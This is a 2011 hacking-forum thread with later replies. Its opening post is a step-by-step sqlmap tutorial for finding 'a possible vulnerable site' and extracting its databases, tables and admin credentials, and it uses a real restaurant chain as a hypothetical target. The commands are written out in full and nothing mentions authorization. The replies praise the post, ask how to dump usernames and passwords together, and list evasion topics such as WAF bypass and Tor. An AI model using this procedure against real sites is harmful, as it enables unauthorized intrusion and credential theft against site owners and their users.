

Forum:[Hack Forums](#)

Thread: [\[TUT\]How to SQL Inject with SQLmap \[TUT\]](#)

Retribute - September 18, 2011, 4:54 pm

Hey guys,

So today I will be teaching you guys on how to SQL inject via SQLmap. This is also my first tutorial so it may not be the best.

--

Alright, so lets begin learning.

I recommend you use this on a Linux distro because I'm not quite sure whether or not this works on Windows. Personally, I'm on Ubuntu.

Alright, so now you obviously need SQLmap which can be downloaded from [here](#)

You also need python installed which you can get by doing `Code sudo apt-get install python`
After you've downloaded it, go to the directory where it's saved.
In my case: `Code cd Downloads/sqlmap`

Once you're in that directory, we must find a possible vulnerable site.
Now that you have one, we are going to test it with the following code:
`Code python sqlmap.py -u TARGETSITE` Change "TARGETSITE" to the URL of your site.

After you find out it's vulnerable, do:
`Code python sqlmap.py -u TARGETSITE --dbs`
This will display all the database names. You'll see "information_schema" among the database names; just ignore that and choose another one. The database name is usually in reference or has similar wording as the site. For example, if I was attacking Pizzahut, a possible database name could be pizzahut_pizzahut.

Now once you've found the database name, you'd need to view the tables, so do:
`Code python sqlmap.py -u TARGETSITE -D site_db --tables`
This will display all the tables of the database. Now your job is to figure out which contains the information you want, such as the admin pass/user.

So once you've found the tables, for example, containing the Admin information, do:
`Code python sqlmap.py -u TARGETSITE -D database_name -T admintable --columns`
With that, you've received all the columns. Now you want to see the information in that column, so type in:

`Code python sqlmap.py -u TARGETSITE -D database_name -T admintable -C columnname --dump`

And there we have it, we have gotten all the info ?

Please comment or PM me if you have questions. I'd be happy to assist you.

CRT - September 18, 2011, 4:54 pm

Pretty good tutorial man. Sure it will help many.

Cannabinoids - September 18, 2011, 5:00 pm

This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.

Retribute - September 18, 2011, 5:01 pm

(Sep 18, 2011 05:00 PM)wolfe27 Wrote: [\[CITE\]](#) This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.

Alright, thanks for the advise. I'd be sure to take it on any future tutorials.

T-rom - September 18, 2011, 5:01 pm

DO NOT ask for + rep.

its a good tut otherwise.

Glassy - September 18, 2011, 5:02 pm

That is a well written tutorial you have created there. Good job.

Retribute - September 18, 2011, 5:09 pm

(Sep 18, 2011 05:02 PM)Glassy Wrote: [\[CITE\]](#) That is a well written tutorial you have created there. Good job.

Thanks! Just wanting to contribute a little here :3

Kelly_ - September 24, 2011, 11:16 pm

Excellent tutorial, the best one I've seen so far.

gfgfdygh - September 24, 2011, 11:19 pm

@RubksHQ, if you go with some screenshots , it help nderstad better , though the tutorial is compact and precise for a beginner itself

B_r001access - September 25, 2011, 12:25 am

<https://hackforums.net/showthread.php?tid=1758457> Yesterday i make a Tut Like that :P

-S0uRc3- - September 25, 2011, 12:39 am

Thank you,just what i wanted :) keep it up

Godzor - September 25, 2011, 2:08 am

this was very very very very helpfulll

Victor - September 25, 2011, 3:32 am

Very nice tutorial. Easy to Follow. Thank you

gfgfdygh - September 25, 2011, 4:19 am

a slight correction rubiks , in the last command , its like columns --dump and not column--dump

:P

santoro - September 25, 2011, 4:34 am

thanks for this share , nice tutorial. good job

thanks for this share. excellent tuto. nice job

mudkipize - February 4, 2012, 8:48 pm

this is good but i was wondering is there a way to dump two columns at a time, eg usernames & passwords is it just:

```
python sqlmap.py -D database -T table -C username passwords --dump
```

Vip?r - November 18, 2015, 7:01 pm

wow very nice tutorial Retribute senpai

bingy - November 21, 2015, 8:31 pm

Thank you, be nice if you could make an advance one as well. So cool to see so many peeps 'giving away' advice and methods.

xorl - November 22, 2015, 3:24 pm

nothing on tor, setting user agents, injecting through POST/cookies/headers, forcing dbms/os/injection techniques, verbose output, level/risk, detecting/bypassing wafs, tamper scripts, file system access, OS pwnage or saving config/output

0.5/10

Spoiler ([Click to View](#))if anyone wants to learn how to actually use sqlmap, read <https://github.com/sqlmapproject/sqlmap/wiki/Usage>

Retribute - November 22, 2015, 4:45 pm

(Nov 22, 2015 04:24 PM)xorl Wrote: [\[CITE\]](#) nothing on tor, setting user agents, injecting through POST/cookies/headers, forcing dbms/os/injection techniques, verbose output, level/risk, detecting/bypassing wafs, tamper scripts, file system access, OS pwnage or saving config/output

0.5/10

Spoiler ([Click to View](#))if anyone wants to learn how to actually use sqlmap, read <https://github.com/sqlmapproject/sqlmap/wiki/Usage>

I hope you know that this guide was created in 2011, and has not been updated.

xorl - November 22, 2015, 4:52 pm

(Nov 22, 2015 05:45 PM)Retribute Wrote: [\[CITE\]](#) I hope you know that this guide was created in 2011, and has not been updated.

well fuck me, i should've read the date before posting

GOD OF SARADOMIN - November 23, 2015, 6:16 am

DOES THIS WORK ANYMORE BECAUSE THE POST WAS IN 2012 JUST ASKING ?

TheCaptainRoot - November 26, 2015, 10:46 am

very helpful thank you buddy..

mrgoslin - December 21, 2015, 10:50 am

Thanks for helping out a noob :D